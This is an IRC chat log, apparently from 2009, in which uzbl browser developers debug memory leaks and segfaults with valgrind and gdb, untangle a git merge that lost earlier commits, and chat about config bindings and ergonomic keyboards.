21:11 < Dieterbe> i think this will actually be quite easy. it *should* be just a fast forward for me
21:11 < Dieterbe> right now i'm just inspecting the diff
21:11 < Dieterbe> -bind    I         = toggle_insert_mode 0 # disable insert mode (1 to enable) <-- what about esc? does it still work?
21:12 < Barrucadu> yes
21:12 < Dieterbe> k
21:19 < Dieterbe> how does the %s for the external js scripts work?
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21:20 < Barrucadu> gchar* newjs = str_replace("%s", argv_idx (argv, 1), js); js = newjs;
21:20  * Barrucadu notices a memory leak...
21:22 < Barrucadu> Hmm, it's not actually working with agument vectors now
21:23 < Barrucadu> No
21:23 < Barrucadu> I'm being stupid
21:23 < Barrucadu> :p
21:23 < Barrucadu> I think...
21:25 < Barrucadu> No, definitely me being stupid again. All is well :)
21:25 < Dieterbe> -    //if(uzbl.state.uri)
21:25 < Dieterbe> -    //    load_uri (uzbl.gui.web_view, uzbl.state.uri);
21:25 < Dieterbe> +    if(uzbl.state.uri)
21:25 < Dieterbe> +        load_uri (uzbl.gui.web_view, uzbl.state.uri);
21:25 < Dieterbe> why is this commented out?
21:25 < Masca> Dieterbe: annotate?
21:27 < Barrucadu> Dieterbe: not sure
21:27 < Dieterbe> aha, it was DuClare 
21:27 < Dieterbe> http://github.com/Dieterbe/uzbl/commit/355fa7c0d712c2b7a15bf15d8b12c078d4310085
21:28  * Barrucadu uncomments and compiles
21:30 < Dieterbe> no i think the commenting is good
21:30 < Dieterbe> because he moved the load_uri to the other function
21:30 < Barrucadu> Dieterbe: It segfaults, that's probably why it was commented out
21:31 < Dieterbe> hmm worked fine for me when i pulled it in from rob| 
21:31 < Dieterbe> or maybe i didn't test all scenarios
21:31 < Dieterbe> could be
21:32 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] make test-config
21:32 < Dieterbe> ./uzbl --uri http://www.uzbl.org < examples/configs/sampleconfig-dev
21:32 < Dieterbe> *** glibc detected *** ./uzbl: free(): invalid pointer: 0xbfc3d9d4 ***
21:32 < Dieterbe> it doesn't run for me
21:33 < Barrucadu> What happens if you run it without a config file?
21:33 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] ./uzbl
21:33 < Dieterbe> *** glibc detected *** ./uzbl: free(): invalid pointer: 0xbff34d04 ***
21:33 < Dieterbe> ======= Backtrace: =========
21:33 < Dieterbe> /lib/libc.so.6[0xb6b93dc1]
21:33 < Dieterbe> /lib/libc.so.6(cfree+0xc1)[0xb6b95771]
21:33 < Dieterbe> /usr/lib/libglib-2.0.so.0(g_free+0x36)[0xb6cadb46]
21:33 < Dieterbe> ./uzbl[0x804f9e9]
21:33 < Dieterbe> ./uzbl[0x804fa44]
21:33 < Dieterbe> ./uzbl[0x805026b]
21:33 < Dieterbe> /lib/libc.so.6(__libc_start_main+0xe6)[0xb6b3e6b6]
21:33 < Dieterbe> ./uzbl[0x804b6f1]
21:33 < Dieterbe> similar story
21:39 < Dieterbe> oh and uzbl.org is down :P
21:41 < Barrucadu> I've opened a support ticket :p
21:44 < Dieterbe> Barrucadu: and the weird thing is, my code should be *excactly* the same as yours
21:44 < Dieterbe> even a diff is empty
21:44 < Dieterbe> and for you it works fine?
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21:44 < github> uzbl: Barrucadu experimental SHA1-d70a0ba
21:44 < github> Fix memory leak in run_external_js()
21:44 < github> http://bit.ly/16J16j
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21:49 < Dieterbe> aha!
21:49 < Dieterbe> valgrind --tool=memcheck --leak-check=full ./uzbl
21:49 < Dieterbe> if i run it like that, i get plenty of errors *but* it runs :P
21:50 < Barrucadu> Dieterbe: Dieterbe: It runs fine for me, I've noticed that --uri doesn't load the page (but it sets the URI in the status bar) though
21:50 < Dieterbe> http://stackoverflow.com/questions/151268/how-to-force-abort-on-glibc-detected-free-invalid-pointer interesting
21:50 < Dieterbe> check the last post
21:50 < Dieterbe> hmm $MALLOC_CHECK is empty for me
21:51 < Barrucadu> it says "MALLOC_CHECK_" (note the trailing underscore)
21:51 < Barrucadu> though that's empty for me...
21:52 < Dieterbe> yeah i tried both
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21:56 < Dieterbe> ==7180== LEAK SUMMARY:
21:56 < Dieterbe> ==7180==    definitely lost: 157,878 bytes in 6,981 blocks.
21:56 < Dieterbe> ==7180==    indirectly lost: 197,077 bytes in 7,434 blocks.
21:56 < Dieterbe> ==7180==      possibly lost: 63,272 bytes in 93 blocks.
21:56 < Dieterbe> ==7180==    still reachable: 1,197,950 bytes in 7,610 blocks.
21:56 < Dieterbe> lol
21:56 < Dieterbe> 400kB :P
21:59 < Barrucadu> ==12281== LEAK SUMMARY:
21:59 < Barrucadu> ==12281==    definitely lost: 529,804 bytes in 15,818 blocks.
21:59 < Barrucadu> ==12281==    indirectly lost: 521,159 bytes in 31,940 blocks.
21:59 < Barrucadu> ==12281==      possibly lost: 99,811 bytes in 73 blocks.
21:59 < Barrucadu> ==12281==    still reachable: 1,900,678 bytes in 10,238 blocks.
21:59 < Barrucadu> ==12281==         suppressed: 0 bytes in 0 blocks.
21:59 < Barrucadu> :p
21:59 < Dieterbe> well, this tool rocks
22:00 < Barrucadu> I managed to lose 1MB by showing the status bar and loading google <.>
22:00 < Dieterbe> we should have this in a pre-commit hook or something
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22:05 < Dieterbe> Barrucadu: there's something wrong with (y)our tree.  some older commits from for example rob| are also lost.. such as this one http://github.com/robm/uzbl/commit/d91b739ef7d5635468c646d6d4f41b30da178edf
22:07 < Dieterbe> (not blaming this on anyone btw)
22:07 < Dieterbe> but we should all be careful when merging
22:08 < Dieterbe> and check the diff
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22:16 < github> uzbl: Dieter Plaetinck experimental SHA1-870b1fd
22:16 < github> memleak checking tip
22:16 < github> http://bit.ly/TE3rI
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22:20 < Barrucadu> After merging that commit from robl loading a config file causes breakage unless I run with valgrind --tool=memcheck --leak-check=full ./uzbl
22:25 < DuClare> Dieterbe, Barrucadu:
22:25 < DuClare> Yes, I uncommented those two lines
22:25 < DuClare> Blame me :x
22:25 < DuClare> Forgot to fix
22:25 < DuClare> Erm, commented
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22:30 < Dieterbe> well, don't worry about it. but we did loose several commits in the process of merging
22:30 < Dieterbe> we'll need to reapply at least robs memleak patches
22:30 < Dieterbe> maybe others too
22:30 < DuClare> :|
22:31 < DuClare> What happens if you merge rob's stuff?  Are they still lost as if killed by some merge?
22:31 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] git fetch rob
22:31 < Dieterbe> From git://github.com/robm/uzbl 2518760..ef431d7  master     -> rob/master
22:31 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] git merge rob/master
22:31 < Dieterbe> Already up-to-date.
22:32 < DuClare> Ouch..
22:32 < Dieterbe> i'm going to sleep now.  i'll give it a better look tomorrow. for now it would be wise to do "git fetch dieter", git diff dieter/experimental
22:32 < Dieterbe> and make note of things that seem wrong so that we should (re-)fix them
22:32 < DuClare> I was just doing that
22:32 < DuClare> :)
22:32 < Dieterbe> ok
22:33 < Dieterbe> see you tomorrow guys
22:33 < Barrucadu> bye
22:33 < DuClare> Sleep well
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22:57 < DuClare> 741 line diff vs. Dieterbe's experimental, and things look pretty good to me :|
23:00 < DuClare> I don't see anything important being removed
23:00 < DuClare> Oh
23:01 < DuClare> Now I see it. :]
23:02 < rob|> hmm
23:03 < DuClare> rob|, Can you pull my argv stuff?
23:03 < rob|> sry, got a couple of guys here. i can do it a bit later, though
23:03 < DuClare> Right
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23:27 < DuClare> Dieterbe, Fyi, this is the commit that got rid of the mem leaks http://github.com/Dieterbe/uzbl/commit/6e04841f1143eaf21e5b9647144eee4184aaf6a0
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23:30 < DuClare> Errm, mem leak fixes .. ^^;
23:30 < DuClare> Recently I've had way too much trouble with the language.. :x
23:44 < DuClare> Nice memory usage
23:44 < DuClare> 216M res, 26M shared
23:48 < Phillemann> "gchar* temporary_file   = (char *)malloc (1024);"
23:48 < Phillemann> Why malloc there?
23:48 < Phillemann> gchar temporary_file[1024];
23:48 < DuClare> Dieterbe, git log -Sfree\(buf\)
23:49 < DuClare> Phillemann, Blame barrucadu :>
23:50 < Phillemann> I blame C. Explicitly calling free sucks.
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00:04 < Phillemann> Wow, this {.ptr = (void *)&uzbl.state.uri,.type = TYPE_STRING, .func = cmd_load_uri} is really nice. C99 has some pretty neat features. :)
00:15 < rob|> ;)
00:16 < rob|> DuClare: still on?
00:27 < rob|> hmm
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02:17 < rob|_> DuClare: merged your latest commit, looks good so far. i'm getting (uzbl:23951): GLib-CRITICAL **: g_strv_length: assertion `str_array != NULL' failed on exit
02:17 < rob|_> and with sampleconfig a segfault on exit
02:18 < rob|_> same for sampleconfig-dev
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05:44 < thewtex> hey
05:44 < thewtex> hey _zee greetings from madison, wi
05:45 < thewtex> anybody have an example of how I can use 'modkey'
05:45 < thewtex> I want Ctrl + F to page forward
05:46 < thewtex> I'm assuming 'bind <something> = scrool_vert 100'
05:49 < thewtex> gentoo/funtoo ebuild added to my funtoo fork
05:51 < thewtex> http://github.com/thewtex/portage/blob/e63341a13703ee6d4c8e6af2285e0c78856d73bb/www-client/uzbl/uzbl-9999.ebuild
06:04 < _zee> yar madison
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08:52 < Dieterbe> morning ladies
08:52 -!- Irssi: #uzbl: Total of 45 nicks [0 ops, 0 halfops, 0 voices, 45 normal]
08:58 < Dieterbe> DuClare: aha ! so we should just revert, or reverse apply or whatever it's called http://github.com/Dieterbe/uzbl/commit/6e04841f1143eaf21e5b9647144eee4184aaf6a0
09:50 < Masca> That looks like a failed merge. =P
09:51 < Dieterbe> look more like barrucadu on herbs to me :P
09:52 < Masca> it's fixed now in your experimental?
09:52 < Dieterbe> no
09:58 < Dieterbe> no(t yet)
10:02 < Masca> Planning to do it soon? (I mean, should I wait before pulling your experimental?)
10:04 < Dieterbe> i can't do it myself from work, so the soonest i can do it is now+9 hours
10:05 < Dieterbe> but, if you pull my latest experimental now, you can try yourself, and if it worked i can pull from you
10:12 < Masca> Let me try.
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10:29 < rob|_> morning
10:30 < Dieterbe> heya robman
10:34 < Dieterbe> rob|_: how do you watch for memleaks? do you also use "valgrind --tool=memcheck --leak-check=full ./uzbl" ?
10:35 < Masca> Mmm looks like he reverted a merge. So I guess I must revert his revert.
10:35 < Dieterbe> yeah Masca :P
10:38 < Masca> hehe. revert fail. It need merging.
10:39 < Dieterbe> suprise ! :D
10:39 -!- Irssi: #uzbl: Total of 46 nicks [0 ops, 0 halfops, 0 voices, 46 normal]
10:40 < rob|_> Dieterbe: yes, that's how i did it
10:41 < rob|_> i guess i have a clean tree includinf diclare's latest stuff (i.e. argv vectors)
10:41 < DuClare> Morning.
10:41 < rob|_> hey DuClare
10:42 < DuClare> Hm.
10:42 < Masca> Dieterbe: your experimental HEAD is weird. jeje
10:42 < Dieterbe> well rob|_ i merged in from barrucadu yesterday (since he pulled in duclares stuff who pulled from you), so by merging in from barrucadu i had the changes from all 3 of you *except* for some reason in barrucadus tree some commits were undone such as your memory leak fixes and a few others ( see http://github.com/Dieterbe/uzbl/commit/6e04841f1143eaf21e5b9647144eee4184aaf6a0 )
10:44 < rob|_> hmm, odd. i did not merge from bar, though
10:45 < DuClare> rob|_, Hm, no segfaults on exi
10:45 < DuClare> exit
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10:46 < rob|_> Duclare: btw, changing to insert mode gives that warning g_strv_length warning, too
10:46 < DuClare> Yeah
10:46 < DuClare> I hate that glib crap though.  If it already *does* check for NULL strings, then why should we do it too :x
10:47 < DuClare> Now I have to figure out how to make glib tell where and when that happens :|
10:47 < rob|_> hehe, true!
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10:51 < DuClare> Aha
10:51 < DuClare> Okay
10:51 < Dieterbe> DuClare: try "valgrind --tool=memcheck --leak-check=full ./uzbl", it does more then showing memleaks, it also shows some other stuff IIRC.
10:54 < DuClare> It's unlikely to help when there's technically nothing wrong with the code as glib takes care of it, sort of..
10:58 < DuClare> rob|, Fixed the warning; the segfault I could not reproduce
11:01 < DuClare> Ehm, I've got an exam today.  Not sure if the teacher wants me there though :x
11:01 < Dieterbe> lol
11:02 < DuClare> Didn't attend a single lesson of hers during the course.. :x
11:03 < Dieterbe> when i was a student i had the decency to at least go once :P
11:04 < ruskie> :)
11:04 < ruskie> same here
11:04 < ruskie> though techincally I'm still a student
11:04 < Masca> You better go to everyone, and sleep.
11:04 < ruskie> but working with the skills I got by mysefl beats uni...
11:05 < ruskie> atleast around here
11:07 < Masca> Dieterbe: can you remember if we need to leave commented or uncommented the lines  if(uzbl.state.uri) load(uri.uzb.gui.web_view, uzbl.state.uri); ?
11:08 < Dieterbe> uncommented
11:10 < DuClare> If that's the thing near the end of main(), I've already fixed it
11:10 < Masca> Can you review this http://rafb.net/p/yW8a6l70.html
11:11 < Masca> It's the revert fix.
11:12 < Dieterbe> Masca: basically you should make sure that everything that has a "-" @ http://github.com/Dieterbe/uzbl/commit/6e04841f1143eaf21e5b9647144eee4184aaf6a0 now has a "+", and the other way around. except that some things are already fixed, such as the authors/contributing file, so you'll have no diff there
11:12 < DuClare> Don't uncomment these lines
11:12 < DuClare> They're broken
11:13 < rob|> hmm, always_insert_mode and modkey have some cross-dependncy that makes the order in which they are set important
11:14 < rob|> not too nice :(
11:15 < Masca> Dieterbe: the problem here is that there have been some changes. The merge conflict were on some stuff not in 6e04841...
11:15 < DuClare> They shouldn't have such
11:17 < DuClare> rob|, Modmask is only used in key_press_cb after setting it in cmd_modkey
11:17 < rob|> hmm, try the following with this config http://rafb.net/p/0z7Car68.html:
11:18 < rob|> uzbl < examples/config/sampleconfig-dev
11:18 < Dieterbe> Masca: sorry i have to work now, ask rob| or DuClare to assist you
11:18 < Dieterbe> rob| / DuClare , Masca is trying to re-integrate the fixes that were discarded because of http://github.com/Dieterbe/uzbl/commit/6e04841f1143eaf21e5b9647144eee4184aaf6a0
11:18 < Masca> Dieterbe: yeah, no problem.
11:18 < rob|> i.e. let the config be autodected in the default XDG path and overwrite it with sample
11:19 < rob|> goes well if always_insert_mode is commented or reordered, segfault otherwise
11:20 < DuClare> rob|, VAR: modkey VALUE: SoupLogger-0x2353010
11:20 < rob|> ooohh...
11:22 < rob|> yep, modkey holds a corrupt value/pointer
11:23 < Masca> Now I'm getting some crashes in unrelated code
11:23 < rob|> hehe, i guess i found the problem
11:24 < DuClare> rob|, Me too
11:24 < DuClare> cmd_modkey frees it..
11:24 < DuClare> Guess what
11:25 < DuClare> About fifteen minutes ago, I was going to ask why you free it in cmd_modkey
11:25 < DuClare> But then I decided not to
11:26 < rob|> ok, fixed.
11:26 < rob|> i just took your code and put it into a function, though forgot to assign buf to the var after freeing it ;)
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11:29 < rob|> DuClare: btw, with your quotation functions muliple actions per binding should be easily expressible, right?
11:29 < DuClare> Yeah
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11:31 < rob|> hmm, i'm thinking of a way to hold those action "chains" in a linked list and run them in order
11:32 < DuClare> Why not just store the chain as an action string like any?
11:33 < DuClare> You could add an action for it.. which calls parse command for each argument
11:33 < DuClare> There's one potential pitfall
11:34 < DuClare> The actions must be quoted, which means quotes in %s replacement must be escaped.  But are there actions that want %s *without* escaping?
11:34 < rob|> well in the long run it be better to cache certain actions so we don't need to reparse potentially huge strings all over again
11:34 < DuClare> Uri
11:35 < DuClare> Sounds like premature optimization ;x
11:35 < rob|> hmm
11:35 < DuClare> But you could be right
11:35 < rob|> anyways let's keep it as is for now
11:36 < DuClare> Multiple actions are still doable with shell scripts anyway, so I wouldn't rush to add any functionality yet.  Do it if/when we see it really is required (i.e. using scripts is too much of a performance hit)
11:37 < rob|> yeah, best example is the link hinting thing 'F' ahould activate the jscript _and_ do keycmd "f "
11:38 < DuClare> OR get rid of them and rewrite them so that one action, one keypress is enough :]
11:38 < DuClare> jouz wrote a hint script like that.  I only need to hit f
11:38 < rob|> yeah, saw that one
11:39 < DuClare> Meh, does anybody mind if I add and keep -ggdb in the Makefile?
11:40 < rob|> nope, we should remove it when merging to master, though
11:40 < rob|> also we could strip the binary
11:41 < rob|> in master, of course
11:41 < DuClare> rob|, Btw, your shell_cmd is unlikely to work until you add -c
11:41 < DuClare> Yeah
11:41 < rob|> strangely enough it does work :p
11:42 < rob|> testing with your yank&paste snippets
11:42 < DuClare> o_O
11:42 < DuClare> Didn't work here.  What shell do you use?
11:43 < rob|> /bin/sh is bash for me
11:43 < DuClare> Same
11:44 < rob|> /bin/sh --version
11:44 < rob|> GNU bash, version 3.2.48(1)-release (i686-pc-linux-gnu)
11:44 < DuClare> GNU bash, version 3.2.39(1)-release (x86_64-pc-linux-gnu)
11:45 < rob|> hmm, that _could_ explain it
11:46 < DuClare> Perhaps.. but sounds strange that they'd make such a strange modification in the behavior :x  To me the bash guys look quite conservative
11:47 < rob|> right, seems rather unlikely, though it works :x
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11:49 < Dieterbe> maybe the output of `env` or `set` is different for you guys... just thinking out loud
11:49 < Dieterbe> eg other shell settings
11:50 < rob|> doesn shell_cmd not literally spawan its value?
11:50 < rob|> brr
11:51 < DuClare> rob|, Basically it's just prepended to the args of the sh action
11:53 < rob|> right, so $SHELL should not matter here
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11:57 < Masca> are you using Dieterbe head?
11:58 < DuClare> Nope
11:58 < rob|> DuClare: our branches should be in sync, right?
11:59 < Masca> S= I guess I have fixed the bad merge. But it's crashing on me in some barucadu changes.
11:59 < rob|> barrucadu should do more testing :P
11:59 < DuClare> rob|, Almost.
12:00 < DuClare> I have a few line diff
12:00 < DuClare> If you pull, we're perfectly in sync :]
12:01 < rob|> ok, done.
12:02 < rob|> so dieter should probably merge from us and apply barrucadu's stuff after that
12:03 < Masca> do you want to review the merge fix (the crashing one =P), then I can commit, and track down that crash.
12:05 < rob|> Masca: hmm, wouldn't it be simple to do it the other way round? i.e. merge from us and inspect then what's wrong with bar's stuff?
12:05 < rob|> s/simple/easier/
12:05 < DuClare> Masca, Did you uncomment the two lines I told you not to uncomment?
12:06 < Masca> DuClare: Nop. I just let them commented.
12:06 < DuClare> Okay
12:07 < Masca> rob|: Maybe you are right. merge from you and let barracadu fix his bad merge. =P
12:07  * Masca git reset --hard
12:11 < DuClare> Hmm.
12:12 < DuClare> I'll write a config for use with left hand only
12:12 < rob|> hehe
12:12 < rob|> that callback thing feels so much cleaner, no more stupid strcmp
12:13 < DuClare> Yep
12:13 < DuClare> Got a fancy split keyboard.. It's not really suitable for use with one hand if the binds are spread around
12:14 < rob|> i see, i'm doing OSS stuff primarily on the laptop so i can keep using the desktop pc for work that earns me some bread ;)
12:14 < DuClare> :]
12:15 < Masca> Done, I pulled DuClare's experimental. =P
12:17 < rob|> interesting, most variables need some code besides setting them
12:17 < DuClare> Indeed
12:22  * ruskie simply uses keyboards that have as uniform keys as possible so he can easily remap them to dvorak
12:22 < DuClare> Huh
12:22 < DuClare> What does the uniformness have to do with remapping
12:23 < ruskie> because I can yank them off and put them up the way I want to ;)
12:23 < DuClare> If you use dvorak, you don't need to see the keys
12:23 < ruskie> as much as I do blind typing at times my brain simply has no clue where a key is
12:23 < DuClare> Actually, I prefer qwerty keycaps because sometimes I actually need to use qwerty..
12:23 < ruskie> also I need to switch at times to qwerty on other machines which confuses muscle memory
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12:24 < DuClare> My keyboard has both dvorak and qwerty caps actually
12:24 < ruskie> I had to switch from qwerty due to wrist pain
12:24 < DuClare> But I'd prefer them blank
12:24  * rob| uses german qwertz
12:24  * ruskie has to use US qwerty, SI qwertz
12:24 < rob|> gave up on all those fancy layouts and just stick with whatever is default where i am..
12:28 < DuClare> http://hikari.serveftp.org/p1010543.jpg
12:29 < rob|> oh, the kinesis keyboard, nice!
12:30 < rob|> thought about buying it, too. are you content with it?
12:30 < DuClare> Definitely
12:32 < rob|> hehe, i guess my girl friend would be a bit perplex finding such a kritter on the desk ;)
12:33 < DuClare> Probably..  sadly most people turn away as soon as they see it
12:33 < DuClare> "Yuck, strange, I could probably never use one like that"
12:33 < DuClare> The prices are high, and high they will stay as long as people don't embrace ergonomics
12:33 < DuClare> We who actually care about ergo get to suffer. :x
12:36 < ruskie> I would need to give it a try but somehow I doubt it would be able to cover my needs
12:37 < DuClare> What are your needs?
12:38 < ruskie> abilty to be able to do things like ctrl+alt+t with a single hand on a dvorak layout if needed ;)
12:38 < entgod> hmm, i thought of getting one of those about a year ago
12:38 < rob|> ruskie: you using emacs?
12:38 < DuClare> ruskie, So you're forcing yourself to do unergonomic combinations with one hand.  Right, "needs"
12:39 < DuClare> You had to switch from qwerty because of pain yet you conduct such evil.. >:)
12:40 < ruskie> rob|, naahh
12:40 < ruskie> DuClare, I only need it once in a while
12:40 < ruskie> also would be hard to imagine playing games with a kinesis
12:41 < ruskie> rob|, naahh ctrl+alt+char/num are my WM bindings which I rarely use
12:41  * DuClare uses emacs \o
12:41 < entgod> i bound capslock to win and use that for my wm bindings
12:41 < entgod> it works pretty well
12:42 < entgod> and no more accidental caps :)
12:42 < DuClare> I have esc in place of caps
12:42 < DuClare> Works for vim and such
12:42 < entgod> yeah, that would be nice also
12:43 < ruskie> caps is ctrl here iirc
12:43 < ruskie> but I hardly ever hit it
12:43 < DuClare> Hooray
12:44 < DuClare> Finally caught a segfault with coredump
12:44 < rob|> have to run now, see you guys later
12:44 < entgod> bye
12:44 < DuClare> *** glibc detected *** /home/duclare/.uzbl/uzbl: double free or corruption (fasttop): 0x000000000275f9a0 ***
12:44 < DuClare> o/
12:44 < entgod> :)
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13:08 < DuClare> Wtf..
13:10 < DuClare> shell_cmd is sh -c
13:10 < DuClare> Then it is to be set again, so set_var_value is called with name="shell_cmd", val="sh -c"
13:10 < DuClare> No problems there
13:11 < DuClare> Since it was previously allocated, it now gets freed
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13:11 < DuClare> Old value = 115 's'
13:11 < DuClare> New value = -128 '\200'
13:11 < DuClare> _int_free (av=0x7f5923fc8a00, mem=0xd61b20) at malloc.c:4624
13:12 < DuClare> No problems there
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13:12 < DuClare> Then g_strdup kicks in; it's supposed to duplicate val
13:12 < DuClare> Old value = -128 '\200'
13:12 < DuClare> New value = 115 's'
13:12 < DuClare> s, cool
13:13 < DuClare> (gdb) print uzbl.behave.shell_cmd
13:13 < DuClare> $9 = (gchar *) 0xd61b20 "shé"
13:13 < DuClare> Okay, it's set to sh -c now
13:14 < DuClare> Shouldn't that mean g_strdup is done and has allocated the memory?
13:14 < DuClare> So I continue
13:16 < ruskie> is shell_cmd setable in the config?
13:16 < DuClare> Yup
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13:18 < Masca> Wiii  fixed the bug that makes "open in new window" to always open the one from config file.
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13:27 < DuClare> Meh, I can't figure it out
13:27  * ruskie hands a hammer to DuClare 
13:29 -!- Irssi: #uzbl: Total of 49 nicks [0 ops, 0 halfops, 0 voices, 49 normal]
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13:57 < igglyb> i tried to bind the ctrl-d-combination to scroll_vert 100, but uzbl just showed a strange char at the "command line": http://omploader.org/vMXBlbg
13:59 < Dieterbe> mmm we should do some sort of unit testing
14:05 < DuClare> igglyb, Works fine here
14:06 < igglyb> strange :x
14:06 < DuClare> Let me see your cfg
14:09 < igglyb> sure, http://pastebin.com/m335f2c23
14:10 < igglyb> erm, wrong..
14:10 < DuClare> <,<
14:10 < DuClare> Indeed
14:11 < igglyb> http://pastebin.com/m56c62e13
14:11 < DuClare> ^D
14:11 < igglyb> though this doesn't differ much from your conf..
14:11 < igglyb> what should i use instead of it?
14:12 < DuClare> Use the control character, not two non-control characters that are commonly used to express the control character
14:12 < igglyb> how :o
14:12 < DuClare> C-q C-d in emacs ;)
14:13 < DuClare> You'll want to try C-v C-d
14:13 < igglyb> oh, thanks :)
14:14 < Dieterbe> @peak
14:14 < dev_null> Dieterbe: github set a record of 49 people in #uzbl on May 16, 2009 at 03:47 PM CET. You'll need 2 more people to break the peak.
14:14 < Dieterbe> mmmm
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14:43 < DuClare> Eheh.  Called a screenshot script repeatedly from uzbl.. http://hikari.serveftp.org/shots/027.png
14:43 < Dieterbe> o_O
14:43 < Dieterbe> i wonder what that script does
14:44 < Dieterbe> and i love the look of your xmonar layout
14:44 < Dieterbe> xmonad*
14:44 < Dieterbe> too bad wmii doesn't support tabbed layouts
14:44 < entgod> nice screenshot :)
14:45 < DuClare> I'm actually planning to give it new colors, similar to my new statusbar
14:45 < Dieterbe> which also looks nice, btw
14:47 < DuClare> Dieterbe, The sreenshot script is umm.. in the wrong place.  It shouldn't be a browser specific thing but I did it for fun http://hikari.serveftp.org/pc2.conf
14:47 < DuClare> Takes a shot, optimizes the png, copies to the right place and finally tells uzbl to load it
14:49 < Dieterbe> ah ok, so it's not some funky X bug/artifact, you really did this on purpose :P
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14:49 < DuClare> Well, it could've been purposeless.  When I initially wrote the script, I forgot to break from the loop so it wanted to create all 2048 screenshots <,<
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14:59 -!- Irssi: #uzbl: Total of 48 nicks [0 ops, 0 halfops, 0 voices, 48 normal]
15:03 < DuClare> Now here's one that should work for advertising. :]  http://hikari.serveftp.org/shots/0001.png
15:06 < Dieterbe> how did you do that?
15:06 < Dieterbe> the zooming some words?
15:08 < DuClare> It was like that
15:09 < Dieterbe> o_O seems like a bug to me, then
15:09 < DuClare> Yep
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15:54 < rob|> re
15:55 < Dieterbe> heya robman
15:57 < rob|> should the characters displayed in the load progress bar (i.e. '=' and '·') be setable with a var? like "set status_progress_bar_done = :"  and "set status_progress_bar_pending = -"?
15:58 < rob|> i usually set them to other values in myconfig, some nice unicode chars
15:59 < rob|> http://omploader.org/vMW95Mw <-- note the funny unicode star symbols ;)
16:00 < Dieterbe> ah i wondered already about that.
16:00 < Dieterbe> well, this is one of things that could cause endless discussions about how extremist/kiss/featurefull we should be
16:00 < Dieterbe> but i guess we only need little code for this, so be my guest
16:00 < rob|> yeah, exactly :p
16:01 < rob|> yep, we'd just need two entries in the table and the callback needs to be the already existing update_title()
16:02 < Dieterbe> go nuts ;)
16:02 < rob|> i wonder wether we should give a bit more of a structure to the user variables
16:03 < rob|> like statusbar.message, net.http_proxy, etc.
16:03 < rob|> they are strings after all, so we just need to change the names in the table, nothing more
16:09 < rob|> oh and entries[] doesn't need to be global, does it?
16:10 < Dieterbe> not sure
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16:15 -!- Irssi: #uzbl: Total of 50 nicks [0 ops, 0 halfops, 0 voices, 50 normal]
16:15 < Dieterbe> congrats Negher !!!
16:15 < Dieterbe> @peak
16:15 < dev_null> Dieterbe: Negher set a record of 50 people in #uzbl on May 20, 2009 at 02:14 PM CET. You'll need 1 more person to break the peak.
16:15 < Dieterbe> ^^^^
16:15 < Negher> Thanks very much ;).
16:16 < Negher> This is what I would call "A warm welcome".
16:17 < Dieterbe> i just did that because you are the 50st :P
16:18 < Negher> Well, it was anyway regardless of the circumstance.
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16:20 < barrucadu> Hi
16:21 < barrucadu> @peak
16:21 < dev_null> barrucadu: barrucadu set a record of 51 people in #uzbl on May 20, 2009 at 02:20 PM CET. You'll need 1 more person to break the peak.
16:21 < Dieterbe> whooaaa
16:21 < Dieterbe> a new record !! :D
16:21 < barrucadu> :)
16:22 -!- Irssi: #uzbl: Total of 51 nicks [0 ops, 0 halfops, 0 voices, 51 normal]
16:24 < rob|> ok done, now you can set: status_pbar_done, status_pbar_pending and status_pbar_width
16:25 < rob|> feel free to change those to better names
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16:54 < Dieterbe> rob|: don't forget to add the appropriate entries to the sample config and in the README
16:55 < rob|> Dieterbe: i'll let you do this, maybe you want to change the names to something else
16:59 < Dieterbe> not really actually
17:01 < rob|> btw, don't you have access to your home computer from your workplace? or are you guys just having some stupid company policies?
17:04 < Dieterbe> no, we have very unstrict policies actually :) (my irssi runs from home)
17:05 < Dieterbe> i have a little server at home that i can ssh to, but i have the habit of shutting down my workstation when i'm away from home
17:05 < rob|> ah, i see
17:06 < rob|> i should do that, too. though, didn't manage to shut down the computer more often than 10 times in the last years ;)
17:06 < Dieterbe> at some point i copied my git clone a bit back and forth between workstation and home server, but it become bothersome quickly
17:07 < Dieterbe> became*
17:07 < rob|> nfs, ftpsfs?
17:10 < Dieterbe> autofs
17:10 < Dieterbe> is what i use to mount my server FS on my workstation, if that was your question
17:11 < Dieterbe> so yeah, nfs actually
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17:16 < rob|> ok, off again. need to buy some gifts, be back later in the evening. cu
17:22 < Dieterbe> see you soon
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17:29 < Dieterbe> btw barrucadu , i don't know if you fixed it already are not, but http://github.com/Dieterbe/uzbl/commit/6e04841f1143eaf21e5b9647144eee4184aaf6a0 is where several good commits were reverted in your tree
17:29 < Dieterbe> barrucadu: Masca tried to fix it but i don't know if he finished it. either way we should really have these commits back 
17:32 < barrucadu> ok
17:32 < barrucadu> I'll have a look
17:43 < rutkowski> Hey, sometimes when i click a links it doesn't open that links but new uzbl window with home page.
17:44 < rutkowski> That happens sometimes, I'm not sure what cause that.
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17:46 < Dieterbe> rutkowski: known bug, not sure if one of the other guys has fixed it, but we will definitely fix it
17:46 < rutkowski> Great
17:48 < Dieterbe> there's basically a race condition between the --uri argument and the 'set uri = ...' in the config file
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18:03 < Dieterbe> In addition to these minor conveniences, g_malloc() and  g_free() can support various kinds of memory debugging and profiling. If you pass the --enable-mem-check option to glib's configure script, the compiled  g_free() will warn you whenever you free the same pointer twice. The  --enable-mem-profile option enables code which keeps memory use statistics; when you call g_mem_profile() they are printed to the console. Finally, you can define USE_DMALLOC and the glib memory wrappers will use the  MALLOC(), etc. debugging macros available in dmalloc.h on some platforms. 
18:03 < Dieterbe> http://developer.gnome.org/doc/GGAD/cha-glib.html
18:04 < Dieterbe> driving home..
18:09  * barrucadu recompiles glib with --enable-mem-check and --enable-mem-profile
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18:23  * barrucadu googles for a gdb tutorial
18:50 < barrucadu> Dieterbe: I've found that starting uzbl with no config loses about 7KB, and starting uzbl with my config loses about 1MB. I'll have a look at settings_init() (and the functions called from it)
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19:20 < Dieterbe> barrucadu: as long as the lost commits are fixed i'm happy :P
19:20 -!- Irssi: #uzbl: Total of 51 nicks [0 ops, 0 halfops, 0 voices, 51 normal]
19:22 < barrucadu> Dieterbe: I don't suppose there is a nice way to get a list of lost ones? :p
19:23 < duwanis> did anyone ever figure out how that could happen? You should have to *try* to erase commits in git, it's not something that 'just happens' lightly
